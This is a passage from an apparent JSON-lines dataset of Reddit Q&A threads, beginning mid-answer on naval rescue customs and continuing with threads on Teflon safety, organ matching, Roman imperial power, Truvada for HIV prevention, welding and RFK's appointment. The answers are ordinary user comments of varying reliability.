*Stettin* declined to pick up the boats, first steering to engage the British destroyers, and then withdrawing to repair damage sustained in the engagement with them. The crew of *Defender*'s boats took this abandonment in their stride, bringing a considerable number of German survivors aboard. A total of 28 Germans (18 wounded, ten unwounded) were taken aboard the boats, which were crewed by just ten Britons between the two. The German survivors were well treated, with the wounded being looked after well.  Fortunately for both the British and Germans alike, they were being observed by the British submarine *E-4*, commanded by Lieutenant Ernest Leir. Once the coast was clear, Leir took *E-4* to the surface, and approached the boats. Leir took the British seamen aboard the submarine, along with three injured Germans. He left the rest of the wounded in the boats, along with the unwounded men, giving them food, water, and a compass with which they could steer their way back to German-held territory. This incident was typical of behaviour between and towards men in the water. Sailors always saw the sea as being as big an enemy as whoever it was they were fighting. A survivor could no longer hurt you; instead, the impulse was to help them - at least in part because all involved recognised that it would not take much for them to be in the same situation. ", "It can be a bit difficult to generalize about things like this, but generally speaking during the period I study, men would make every effort to rescue one another, and succor the enemy wounded, once a ship had surrendered. There were some exceptions to this rule that were situational -- for example, European sailors did not tend to show much mercy to corsairs in the Mediterranean (and vice versa), but for the most part the customs of the sea was to whenever possible help shipwrecked or distressed mariners, even if you had been fighting moments before. \n\nThe usual way that a ship in action during this period would surrender would be to strike (haul down) its flag, which would indicate that the men aboard had stopped fighting and would offer no more resistance. The custom of striking the flag and then respecting a truce was so common that it occasionally led to confusion and friendly fire -- when *USS Chesapeake* struck to *HMS Shannon*, *Shannon's* lieutenant George Watt attempted to hoist the White Ensign over the American flag, but tangled the halliards so that the American flag rose first, as if in defiance. *Shannon* saw the flag raising and fired on *Chesapeake* again, killing Watt. \n\nAfter the battle, the surviving American soldiers were held in *Chesapeake*'s hull, with cannon loaded with grapeshot pointed down the hatches to keep them from attempting to retake the ship. The American wounded (including *Chesapeake's* captain, James Lawrence) were taken aboard *Shannon* for treatment; Lawrence died of his wound. \n\nBut that's not quite the question you were asking -- in the case of a ship that sank during the battle, what would happen to those survivors? u/thefourthmaninaboat pointed out that only one ship was sunk during Trafalgar (though more were lost in the storm that followed the battle) and it blew up. If a ship were on fire, and the fire were clearly out of control, men would attempt to escape by any means necessary and other ships' boats would often try to rescue them, which took a deal of courage. (When *HMS Queen Charlotte* caught fire and burned off Leghorn in 1800, several American ships tried to render aid but were deterred by the ship's guns going off at random as the heat of the fire grew. *Queen Charlotte* blew up, taking 673 men with her.) In the case of other actions where a ship sank during a battle, *l'Orient* blew up during the Battle of the Nile in 1798, but that happened at night -- survivors were rescued in the morning. At Quiberon Bay in 1759, *Th\u00e9s\u00e9e* was sunk by gunfire, *Superbe* capsized and *H\u00e9ros* struck her flag then ran aground. That battle was unusual in taking place during a gale, and so men on ships driven ashore were rescued from the shore. \n\nOnce men were captured in battle, they would be kept as prisoners (the *Chesapeake* survivors were kept at Dartmoor Prison in Britain.) The French Revolutionary and Napoleonic wars were the first in which there were not mutual exchanges of prisoners as there had been in earlier wars -- in 1794, the French Revolutionary government actually called for the execution of any British or Hanoverian prisoners, though only one captain seems to have carried out those orders. The French Directorate briefly resumed prisoner exchanges, but Napoleon reversed that policy and also refused to pay for the support of French prisoners in Britain, which led to a bit of a manning crisis in the French navy by the end of the wars. Something more than 80,000 seamen were kept prisoner by the British government by 1814, the seamen first in hulks then dispersed inland, and the officers living on parole. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "8kkywr", "title": "What was the diopter of leeuwenhoek`s microscope?", "selftext": "I need to know the diopter of the microscope for a project, but I can't find it on the internet. \n", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/8kkywr/what_was_the_diopter_of_leeuwenhoeks_microscope/", "answers": {"a_id": ["dz8u2gi"], "score": [18], "text": ["I found an article [here](_URL_0_) that estimated the focal length of one of Leeuwenhoek's single lens microscopes at 4/100\", or 1.02 mm.\n\n1/1.02E-3 = 980 diopter"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.microscopemaster.com/leeuwenhoek-microscope.html"]]}
{"q_id": "1e0a2m", "title": "How much Teflon do I eat for dinner, and just how carcinogenic/dangerous are nonstick pans, anyway?", "selftext": "So they say that Teflon from non-stick cookware is slowly leaching its way into our food as we cook it. Whoever \"they\" are, they talk a lot - but they aren't very specific or scientific in their claims. So here's what I want to know:\n\n1) First of all, is this even true, and is the amount released enough to be carcinogenic in humans? To what extent, and in what amounts? Is it realistic to believe that if one cooked on Teflon daily that they would have a statistically significant increase in cancer risk directly related to ingestion?\n\n2) What process causes the Teflon to get into the food? Is it the heating of the pan while in contact with a food surface, or is contact sufficient?\n\n3) What factors would create an environment that promotes this? (e.g., will a scratched pan release the same amount at the same rate or does damaging the surface increase the rate or amount released?)\n\n4) So then, what would be the \"safer\" option: cooking food at the lowest (food-prep safe) temperature for a longer period of time, or cranking the heat up as high as your meal would allow and cooking it as quickly as possible to shorten the time of exposure? Does any of this matter at all? \n\nJust some musings while washing dishes; if anyone can give a great answer to something like this it's r/*ask*science for sure.\n\n*edit: one word makes a HUGE difference*", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1e0a2m/how_much_teflon_do_i_eat_for_dinner_and_just_how/", "answers": {"a_id": ["c9vktnr", "c9vkyrh", "c9vnne8", "c9vv2un", "c9w0eaj"], "score": [61, 215, 9, 4, 2], "text": ["To the best of my knowledge you shouldn't need to worry about the actual Teflon polymer ([polytetrafluoroethylene](_URL_0_) or PTFE) as a health risk.  Polymers are big and hard to absorb, and if it is super unreactive like Teflon you body probably can't break it down enough to cause problems.\n\nHowever, there are some byproducts and decomposition products of Teflon that are not good for you.  If you heat up Teflon too much (500 F) it can start to release fluorocarbons, which can be toxic.  However, if you cook food under normal conditions you should not need to worry about this.  By normal I mean don't heat up the pan without water or oil, as these things will boil/smoke well below the temp the pan will start to degrade.  If you heat up a dry pan and it starts to smoke, don't breath in that smoke.\n\nAdditionally, Teflon can contain small molecules as plasticizers or leftovers from the production that are harmful.  It does seem like major manufacturers of cooking equipment heat treat their stuff so that these harmful materials are gone by the time you get the pan, so I wouldn't worry too much unless you are buying stuff from street vendors in China.  Other products like Teflon tape would probably have these harmful things still in them, so maybe don't start eating thread tape anytime soon.\n\nIn general I would also avoid using any utensils that can scratch a Teflon pan.  If you scratch the surface you probably are getting small amounts of Teflon in your food (immediately I think, not over time), and while it's probably not harmful I wouldn't push my luck too much and you are destroying the whole function of the nonstick pan anyway.\n\nI know I didn't form my reply as direct responses to your questions so hopefully the answers are easy enough to find in all this text.  To answer the last question directly: lower temp and longer time is probably safer.", "Sounds like you may have been exposed to some mildly quack-ish \"health\" sites.\n\nAt room temperature, Polytetrafluoroethylene (PTFE, or Teflon) is one of the most stable substances known to science. It reacts with essentially nothing. It is extensively used in medicine to make replacement body parts that remain inside the body forever, with no ill effects to the patient. This is precisely because it is very non-reactive. To cause cancer or other illnesses, it would have to react somehow.\n\nNow, if you're heating it, at some point it will start decomposing. As long as you're not overheating the food, it should be safe. Basically, the temperature at which Teflon becomes unsafe is the temperature where carcinogenic compounds appear in the food anyway (the oil starts smoking, etc).\n\nI did a cursory search on Pubmed with \"teflon cancer\" and came up with nothing substantial. I think it's safe to say it's alright.\n\n >  what would be the \"safer\" option: cooking food at the lowest (food-prep safe) temperature for a longer period of time, or cranking the heat up as high as your meal would allow and cooking it as quickly as possible to shorten the time of exposure?\n\nFood decomposes due to heat and produces many weird compounds, some of them carcinogenic. But the reaction speed does not increase linearly with temperature, it increases faster than that.\n\nSo it's safer to cook longer at lower temperatures. Exposing food to high temperatures, even briefly, is worse.\n\nEDIT: I use Teflon in various things I build. When I get back home, I am going to eat a small Teflon chip. *For science!*", "That is, if the pans you're buying are actually covered with real teflon.", "You'll be okay with Teflon as long as you don't get it too hot.  At very high temperatures, it starts to depolymerize to release the tetrafluoroethylene dimer.  That compound causes problems, and it was even referred to as 'Teflon Flu' at the early manufacturing sites.  Teflon Flu was just like the flu, but it lasted 36-ish hours, and it really just hit smokers that would transfer teflon particles to a cigarette; when the burning part of the cigarette encountered teflon, dimer formed and went into the smoker's lungs.  \n\nSeveral of the fluorinated thermoplastics are very, very inert at ambient and even fairly elevated temperatures, but they can be a problem if the temperatures get too hot.  Perfluoroallomer plastics, in particular, can be a problem even under recommended manufacturing conditions.  In fact, standard grades of metals won't work for the extruders and dies; Hastelloy (expensive, more unreactive than stainless steel) is a must.  I once had a trial where we extruded perfluoroallomer thermoplastic, and we shut it down very soon after the test started.  The fumes were irritating and overwhelming the exhaust systems.  \n\nPerfluorooctanoic acid is a fluorochemical has been leaching into the environment, but the effects are unknown.  3M was the main source, and they shut down production as they started to see contamination.  That wasn't from making Teflon, though.  Decades ago, 3M used to make Scotchguard, which worked well at making fabrics stain resistant.", "You can eat teflon and it'll pass through your body. The bad part is if you overheat it and it causes fumes. If you have birds the fumes will kill them. Just pay attention to your pans and don't let them overheat."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Polytetrafluoroethylene"], [], [], [], []]}
{"q_id": "c5uaal", "title": "If someone is a match for one organ are they a match for all?", "selftext": "I know organ transplants are really finnicky and have a lot of issues with rejection, but I'm curious - if someone is a match for, say, a heart transplant, does that mean they're a match for kidneys too?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/c5uaal/if_someone_is_a_match_for_one_organ_are_they_a/", "answers": {"a_id": ["es4g07n", "es4mojq", "es4shf8"], "score": [175, 5, 3], "text": ["The issue isn't the organs themselves. It's the vast complement of antibodies floating about in your blood, as well as the plasma B-cells which produce them (which are mostly located within connective tissue). When we say 'match', we mean that two people's set of antibodies and antigens don't conflict enough to raise the risk of rejection beyond what we find tolerable. Because there's virtually never a perfect match, transplant recipients are always put on immunosuppressant drugs-- otherwise the organ would be rejected. Only identical twins with identical genomes would be perfect matches. Basically, this would mean the answer to your question is yes. There's theoretically nothing specific to a, say, heart, when it comes to the immune system...\n\nAnd yet, we find organ-specific difference in rejection rates (so the answer to your question is actually no!). To quote from Madariaga et al. 2016, \"The reasons for this organ-specific difference are not clear. However, it is clear that all transplanted organs are not created equal. Not only does the strength of the immune response to a particular organ vary with the organ transplanted but the nature of response itself, rejection versus tolerance, varies from organ to organ. In most experimental transplant models, kidney and liver allografts [my note: an allograft is an organ transplanted from somebody else.] evoke a weaker rejection response than heart and lung allografts. Moreover, kidney and liver allografts can actively participate in the induction and maintenance of tolerance and thus, can be considered \u201ctolerance-prone\u201d organs. The same cannot be said for heart and lung allografts which are, for the most part, \u201ctolerance-resistant.\u201d Finally, kidney and liver allografts also possess the unique ability to confer unresponsiveness upon co-transplanted, tolerance-resistant organs like hearts.\"", "When transplant people try to \"match\" people to organs they look at different antigens on cell surfaces called major and minor histocompatiibility antigens. When these differ, the host (and sometimes the graft!) can mount an immune response because they see the tissue as foreign. So in theory, the answer is yes. Also, no one is a perfect match, but immunosuppresants can usually delay rejection as long as the match is \"good enough\".", "Ok, so this made me think about the genetic material involved. I understand basic microbiology, but I'm curious as to what happens to the mitochondrial DNA of said transplanted organ? Does the organ stay \"that person's,\" or does the body know how to replace old cells with new ones with the information the organ \"should\" have contained?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "3aaay8", "title": "sometimes my adblock will say that it has blocked 200 ads. there are rarely more than three ads a page, so what is it really blocking?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3aaay8/eli5_sometimes_my_adblock_will_say_that_it_has/", "answers": {"a_id": ["csapefb"], "score": [2], "text": ["Because it blocks any ad-related web request, not just ads. Basically, in order to facilitate ads, multiple parties are involved:\n- Tracking companies, which track your activity on the web so that ads can later be tailored to your \"interests\".\n- Content classification companies, which help advertisers identify the content/words on the page so the advertiser can better decide which ads to show.\n- Ad-mediators such as ad networks and ad exchanges. Ads are not delivered directly by the website (in most cases), but instead are sold through several 3rd parties which all participate in the ad serving process.\n- Ad-measurement companies, which help measure the effectiveness of ads and other attributes about them.\n- Page analytics companies, such as Google Analytics.\n\nSo essentially, every web page has several web calls to companies of each category, which are layered into the code of the page - which means a few \"ads\" right of the bat, even if there are no actual ads on the page.\n\nThen, every ad includes several additional calls to such companies: a typical ad has between 5 and 50 (!!!) companies involved.\n\nAd Block Plus is going to block most of those, and count each one as an ad (probably for simplicity of data presentation in the ad block app).\n\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5yva76", "title": "Julius Caesar made himself \"dictator for life\" and his successor Augustus made himself \"Emperor\". What could an Emperor do that a dictator for life couldn't?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5yva76/julius_caesar_made_himself_dictator_for_life_and/", "answers": {"a_id": ["detn3da"], "score": [8], "text": ["\"Emperor\" is a later, English, term that does not adequately describe Augustus' position--we use it, really, simply because it's convenient. Augustus was the *princeps*, it just means \"first head,\" or more idiomatically \"first citizen.\" The term had a decidedly private aspect to it, it was originally used of the *princeps senatus*, the nominal \"head\" of the senate in the middle Republic (i.e. the dude with the greatest *auctoritas*, usually a celebrated consular). The senate was a body of private citizens, not elected magistrates, and they prided themselves in the *dignitas* of such a station, that they were able to muster such *auctoritas* despite not being public magistrates. The *princeps senatus* had long lapsed by Augustus' time, but the point of reviving the term (in a very different manner) was to point out Augustus' legally private nature. The *princeps* was, by his very nature, a private citizen. He held enormous legal powers, but at the inception of the Principate these were powers voluntarily (with pressure of course) voted to him extraordinarily by the senate or through laws passed in the citizen assemblies. Augustus ruled by his personal power of *imperium maius* (a power not possessed by any legal magistrates), his tribunician power (possessed, in the case of the *princeps*, by a private citizen), and otherwise simply by his enormous *auctoritas*. Legally speaking there was nothing in the body of Roman law that provided for such powers for any magistrate, and much less for any private citizen. Caesar, by contrast, reestablished the dictatorship, which had lapsed since the end of the Second Punic War (or rather he established a new magistracy with the same name, since both his and Sulla's dictatorships were not really the same magistracy as earlier, as they had explicit purposes and were enacted by laws passed by the *comitia*). His legal powers were held as a result of his magistracy, unlike Augustus' holding of private extralegal power. \n\nMoreover, the personal powers of the *princeps* (originally bestowed individually, there's some debate as to when these powers became packaged as a single unit) were in fact vastly greater than Caesar's. The power of the historical dictator was not absolute, and in fact there was an attempt to turn it into a collegiate office. Caesar and Sulla both really created separate magistracies with the same name, which, while granting enormous power, had explicit purposes. This was unknown in previous dictatorships, as the historical office was an extraordinary one created by senatorial vote alone (one of the few such offices). The dictatorship historically did not hold the *imperium maius*, and there is no suggestion in our texts that Caesar did either. Moreover, [Caesar did not hold tribunician power](_URL_0_). Both are extremely important, those two powers alone made Augustus unimaginably more powerful than Caesar ever was. Further, Augustus and later emperors had much greater power over the magistracies than Caesar did. Caesar famously bickered with elected magistrates several times during his dictatorships, and had difficulty getting them in line, since elections continued under him. But Augustus had virtually total control over the elections and the senatorial class, which had essentially been rebuild from the ground up following decades of civil war--under Augustus the election of someone like Dolabella would have been unimaginable. Augustus' power also extended through society in ways that probably never would have even occurred to Caesar, who came to his position of primacy almost by accident and was probably more concerned with his *dignitas* than the idea of actually *ruling* anything. Under Augustus urban associations like the *vici* or the *vigiles* were codified and secured, with established structures and levels of subordination to the *princeps*. *Imperium maius* also meant that the emperors could station troops permanently in the city, and the praetorians acted in the early Principate mostly as a body intended to quell civil unrest. Such things were totally impossible under Caesar, and though his dictatorships seem very similar to the Principate at first glance, in reality they're quite different at a fundamental level"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/4g6dxd/what_was_it_that_made_caesar_sacrosanct/"]]}
{"q_id": "1uzfqs", "title": "the drug truvada is allegedly 99% effective at preventing hiv, but very few people take it. how does truvada work, and what is the controversy behind it?", "selftext": "Wow, thanks for all the answers! This was my first post, and I'm still finding my footing here, but so far Reddit is a very cool place :] Anyway, someone mentioned that they weren't aware of any controversy, and I suppose I assumed there was because the first place I heard of Truvada was from this (slightly insensitive...) [opinion piece](_URL_0_). It's a little late, but it just occurred to me that I should post this.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1uzfqs/eli5_the_drug_truvada_is_allegedly_99_effective/", "answers": {"a_id": ["cen9jm6", "cenai1c", "cenb5ft", "cene1db", "cene3nu", "cenev8z", "cengtjl", "cenh09a", "cenk0u7", "cenk9yl", "cenkbdj", "cenm15s", "cenzsve"], "score": [483, 372, 36, 10, 9, 8, 63, 6, 11, 2, 2, 2, 2], "text": ["According to this [article](_URL_0_) it's only 42% effective when used by itself. Using condoms upped the prevention rate to 75%. \n\nThere is also the issue of cost. It costs [$13,900](_URL_0_) a year for the drug. \n\nEdit:\n1. I removed the TL;DR line\n2. Per /u/whatadumbidea's request I am adding a link to the [iprexole](_URL_1_) study that found a 99% protection against HIV. ", "Truvada is a drug that has already been used for years to control HIV in an already infected person (usually in combination with a few other HIV drugs). It works by stopping a particular part of the replication process of the HIV virus. It has been approved by the FDA to be taken by a non-infected person prior to engaging in potentially risky behaviors, to reduce the possibility of HIV infection. The controversy is because the use of a pre-exposure, preventative drug seems to condone risky behaviors, and also because some might feel that taking it means condoms aren't necessary. Truvada only helps prevent HIV, not other STDS, and as others stated it's not close to 100% effective.  Also, Truvada can be hard on the kidneys and make users feel ill, so 100% adherence to taking the drug is unlikely (thereby reducing it's effectiveness).  ", "Disclaimer: This is not exactly correct on all pieces, but more basic for someone with less understanding of medical terminology to understand. \n\nTruvada is actually a combination of two drugs, first tenofovir which works by inhibiting reverse transcriptase, this essentially works to prevent the RNA of viruses like HIV from being able to make more of themselves to cause more infection, second is emtricitabine which also works as a reverse transcriptase inhibitor that is a little different.\n\nThe way that HIV works is that it basically takes over the cells of your body then cause many of them to die. The virus specifically targets cells of your immune system that help your body fight infection. This is why patients with HIV very very rarely die from the disease itself, but from infections they catch that their body can no longer protect itself from, hence why it is so important for this group of people to be vaccinated. \n\nNow the way that this combination drug Truvada works is that when the HIV gets to one of your cells the HIV tries to take that cell over by replicating itself. The medication prevents this replication (\"reverse transcriptase inhibitor\") and the HIV cannot make more virus to take over more cells of your body.\n\nThe controversy is that these drugs can have some pretty significant side effects. Each one has a long list of possible problems that could occur from their use. Things like kidney problems, and other organ problems, immune problems, and a lot more. A large number of people that take this medication complain of stomach pains, diarrhea and vomiting on a daily basis. There are a long list of tests that need to be done monthly to make sure that you stay healthy while taking this medication. Because of all of these things to consider I do not see Truvada actually being a feasible option for people to take a daily dose if they are not already at huge risks from being infected with the virus.\n\nsource: pharmacy student", "My doc just took me off Truvada because it was getting hard on my Kidneys, but I was on it for 7 (ish) years before that and it did a bang up job. My viral load was undetectable for ages. I didn't have any side effects.  ", "I feel like I preach only the ways of Dan Savage as of late, but damn a lot of the questions I have seen have been issues addressed by him on his show. \n\nFrom the episode in which he had a doctor on to discuss Truveda, I gather its application is mostly in long term ( > 1 yr together) couples, in which one partner is HIV pos, and the other is not. (Or both are with different strains and dont want to infect each other) Sometimes these partners like to \"fluid bond\" and forgo condom usage. In situations like this, if the HIV positive partner has a low viral load, and the negative partner is on Truveda, it greatly reduces the risk of transmission. \n\nIts not a magic pill, and its more of an added safety feature. Doctors certainly don't recommend using only Truveda as it doesn't prevent pregnancy or other STI's, but in the case of long term partnerships with a pos/neg or pos/pos person, its a nice extra safety net. ", "There is less than 1% chance of contracting HIV through sex with an infected person. Using condoms makes it a one in a million chance. Why take a drug that cost a lot of money and causes side effects when there is a far cheaper way. ", "Oooh, a question on Reddit related to my work. A rarity! But I'm so late to the conversation.\n\nTruvada is a common antiretroviral (ARV) drug used to treat HIV. It works by stopping HIV replication in the body. It's now being used for HIV prevention, known as pre-exposure prophylaxis (PrEP). The idea is that if you already have this ARV medication in your system and you happen to be exposed to HIV, the medication can quickly stop HIV replication and your body's immune system can take care of the virus before it gets too out of hand. A common analogy that is made is that PrEP is like birth control for HIV.\n\nVery few people take it because it's a fairly new thing. The original study that looked at Truvada as a prophylaxis is the  [iPrex](_URL_1_) study which started in 2007 and concluded in 2011. Add the fact that it was only approved for prophylactic use by the FDA in 2012, it's been a slow process spreading awareness, but people are definitely starting to hear about it. \n\nThere are a number of issues that have been raised about PrEP. I'll see if I can summarize some of the main debate points.\n\n* Efficacy: As others have linked, the efficacy of Truvada does vary a bit. The iPrex study found it was 42% effective between their PrEP and placebo conditions. However, it was 96% for those in the PrEP group who took the medication daily. Therefore, some people may feel that those numbers are just not good enough to take the chance.\n\n* Side Effects: ARV drugs can be pretty rough on a person's body. [_URL_3_](_URL_0_) has a quick little info sheet on common side effects. Nausea is a common side effect, especially during the first month of use.\n\n* Cost: As /u/BraveRock mentioned, the cost can be pricey. However, as others have mentioned, some insurance companies have started to cover PrEP. Furthermore, Gilead has a [Medical Assistance Program](_URL_2_) that people are able to apply for.   \n\n* Vs. Condoms: Condoms have been found to be very efficacious against HIV and other STIs. Some people may feel that taking a pill everyday, possibly experiencing side effects, or paying a large monthly fee is more of a hassle than just putting a condom on. Of course, not everyone likes using condoms. Some may not be able to use condoms at all (there have also been discussions about PrEP use for sex workers). Some have a positive SO and want to use PrEP to feel closer to their partner or have a little more peace of mind. \n\nSomething else that has also been mentioned is this stigma that PrEP would promote sexual promiscuity and increased transmission of other STIs. As I mentioned before, birth control is a common analogy that is made, and I think a lot of the arguments during birth control's inception can be heard here. However, we have the good fortune to look on how birth control has progressed since then and apply what we've learned there to PrEP. \n\n", "Two main things:\n\n1. Truvada is a drug taken by HIV positive people to control HIV, so many people are already taking this drug since it was introduced in 2004. It is a multi-million money maker for Gilead every year.\n\n2. In 2012, the FDA approved the drug for HIV negative individuals as a \"pre-exposure prophylaxis\": meaning should one have sex either with or without a condom and the HIV somehow ends up in their bloodstream, the drug can fight it off. According to a study, it reduced the risk by 99%.\n\nTruvada is mixture of two drugs that belong to the family of \"reverse transcriptase inhibitors\" to fight HIV. They basically prevent HIV from replicating itself (by inhibiting the reverse transcriptase enzyme HIV uses).\n\nI don't think there is any \"controversy\" behind Truvada as a drug that is preventing people from taking it. Truvada, like all HIV/AIDS medication is expensive --  between $12,000 - $14,000 a year. Since the pharmaceutical industry aggressively protects their balance sheets via patents, no generic version of this drug can be approved until the patent expires in 2021. That could be your controversy, but it's not just for Truvada -- it's for most HIV/AIDS meds.\n\nTruvada, like most HIV/AIDS meds, has side effects. So you should consult with your doctor about it.", "Hi, pharmacist here.  I actually work in an HIV clinic and spoke with my resident physicians regarding this very topic weeks ago.  Their answer to the question of if we should provide Truvada for prophylaxis for those at risk of contracting HIV was a resounding NO.  Why? because Truvada (tenofovir + emtricitabine) is not difficult to build resistance to!  It really only takes an average person to forget a few doses and BLAM, suddenly they've developed resistant HIV and require a more intense regimen.  The greater population of people you treat for prophylaxis, the greater risk you create for inadvertently spreading resistant HIV strains", "If you have any unanswered questions still let me know. My mom is a senior medical writer that worked on this drug. I can have her answer any questions you might have still.", "Pharmacist here. I've never heard a credible journal or study that stated 99% effectiveness. Where did you hear this?  \n\nAnd the controversy has to do with HIV becoming resistant to truvada which is used as a first line mainstay treatment. \n\nExposing someone to this drug and the patient getting HIV eliminates this drug from being used in treatment. HIV can easily mutate and become resistant to major drug treatments like truvada", "As somebody that has worked in a Pharmaceutical Production unit, it pisses me off to see the price of HIV medicine on the market. ANY type of pills leaving the factory cost less than 1\u00a3 a BOX. This includes cold medicine, vitamins and antiviral (for HIV treatment).\nSeeing that one box of antiviral costs about 45 euro...fuck 'em!", "It seriously fucks your renal function.\n\nEdit: and is expensive."]}, "title_urls": [], "selftext_urls": ["http://www.slate.com/blogs/outward/2014/01/06/truvada_prep_hiv_gay_men_should_take_pre_exposure_prophylaxis.html"], "answers_urls": [["http://consumerist.com/2012/07/16/fda-approves-first-pill-for-preventing-hiv-infections-in-high-risk-patients/", "http://www.iprexole.com/1pages/studymedication/medication-forprevention.php"], [], [], [], [], [], ["http://aids.gov/hiv-aids-basics/just-diagnosed-with-hiv-aids/treatment-options/side-effects/", "http://www.niaid.nih.gov/news/QA/Pages/iPrExQA.aspx", "http://www.gilead.com/responsibility/us-patient-access/truvada%20for%20prep%20medication%20assistance%20program", "AIDS.gov"], [], [], [], [], [], []]}
{"q_id": "3ss8cp", "title": "stir welding.", "selftext": "I can find plenty about what it is, but I want to understand the mechanics of it. Is it just a piece of metal that smears two pieces together at the surface? That doesn't seem like a very strong weld. How does it not melt? ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3ss8cp/eli5_stir_welding/", "answers": {"a_id": ["cx02xzn", "cx08rb2"], "score": [2, 5], "text": ["The way that I think about it is to think about Velcro. You're not smearing it together. You adding little metal \"fingers\" that mechanically lock the two pieces together. ", "[This](_URL_0_) gives a nice idea of what is going on.\n\nBasically the bit softens the metal with friction/heat to the point where it will actually enter the soft, hot metal. The bit is the right length to also penetrate the 2nd layer of metal and soften it the same way. The bit then stirs up the soft metal in both pieces causing them to fuse together, when the stirred up softer metal cools it goes back to being nice and rigid, but now it is all mixed up with the other piece and they cant be seperated because they have become fused together by the stirring."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.youtube.com/watch?v=pF1mOTsYB0Q"]]}
{"q_id": "64bqhi", "title": "What was the public reaction when JFK appointed his brother Bobby attorney general? Were there any serious criticisms or accusations of nepotism?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/64bqhi/what_was_the_public_reaction_when_jfk_appointed/", "answers": {"a_id": ["dg19f3m", "dg1bucw"], "score": [927, 67], "text": ["I couldn't find anything from laymen citizens, but according to Arthur M. Schlesinger's book, *Robert Kennedy and His Times*, certain prominent news publications believed he was unqualified due to his lack of experience.\n\n[Page 233](_URL_2_): \n\n >  \"If Robert Kennedy,\" the New York Times noted sarcastically, \"was one of the outstanding lawyers of the country, a preeminent legal philosopher, a noted prosecutor or legal officer at Federal or State level, the situation would have been different. But his experience...is surely insufficient to warrant his his present appointment. \n\nRobert Novak of the WSJ said that RFK could be an \"unqualified disaster\" if appointed.\n\nAlexander M. Bickel of the New Republic said that \"Mr. Kennedy has demonstrated specific grounds of disqualification....On the record, Robert F. Kennedy is not fit for the office.\"\n\nIn the Senate Judiciary Committee, there were some grumbles of opposition, again due to inexperience. According to Page 234, Richard Russell, Senator from GA, believed that \"it's a disgrace for a kid who's never practiced law to be appointed...\" according to LBJ, who agreed with him.\n\nHowever, it's important to recognize where the Senators were coming from. They were Southern Democrats who, according to RFK, had \"difficulty in the South to vote for any Attorney General,\" likely due to the ideological differences between Southern Dems and Northeastern Dems (where JFK and RFK were from) at the time.\n\nAs for nepotism, *The Nation* reportedly blasted RFK's appointment as [\"the greatest example of nepotism this land has ever seen\"](_URL_0_). \n\nStarting on [Page 229](_URL_1_), you can read more implicit warnings of nepotism.\n\nEven RFK himself was concerned about the appearance of it. \n\n >  John and Robert kennedy had talked in Hyannis Port immediately after the election. \"He asked me if I wanted to be Attorney General. I said I didn't want to be Attorney General....In the first place, I thought nepotism was a problem.\"\n\nBut overall, once the confirmation hearings started, the criticism died down and RFK went through it fairly smoothly. ", "As a follow up question can anyone shed any light on the anti-nepotism laws that were passed after the Kennedy administration. I'm sure I heard that had happened but when I tried to research it I couldn't find any information about it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://time.com/4574971/donald-trump-transition-jared-kushner-legal-anti-nepotism-law/", "https://books.google.com/books?id=5L-EeG9djO4C&amp;lpg=PA233&amp;ots=_IbtnQAimJ&amp;dq=the%20new%20york%20times%20rfk%20unqualified&amp;pg=PA229#v=onepage&amp;q&amp;f=false", "https://books.google.com/books?id=5L-EeG9djO4C&amp;lpg=PA233&amp;ots=_IbtnQAimJ&amp;dq=the%20new%20york%20times%20rfk%20unqualified&amp;pg=PA233#v=onepage&amp;q&amp;f=false"], []]}
{"q_id": "3xenoh", "title": "why don't politicians get sick more often considering they have to shake thousands of strangers' hands every election cycle?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3xenoh/eli5_why_dont_politicians_get_sick_more_often/", "answers": {"a_id": ["cy3zvmy", "cy40pgm", "cy48ksq", "cy4tc51"], "score": [18, 118, 6, 2], "text": ["They do get sick, why do you think they don't get sick?  A lot of their job can be done remotely, and the president definitely has the ability to reschedule most things.\n\nThey get sick plenty but it's not going to be announced or on the news.", "You would be amazed how effective washing your hands before you eat anything or touch your face can be. \n\nTo this, washing is more effective than hand sanitizer because many bugs you don't want to catch are transmitted by spores. Washing removes all the germs by the simple action of soap, you don't need special antibacterial soap on top of that. Why worry about killing what is not on your hands anymore with a toxin that the bugs get resistant to? ", "Jay Leno used to shake hands with all the audience members at the beginning of The Tonight Show. He said that he has been sick less often since leaving the show. ", "Interacting, sharing food, etc with thousands of people does not make you sick at all.\n\nIts a common myth unless your immune system is weak. Sorta like the myth the cold makes you sick."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
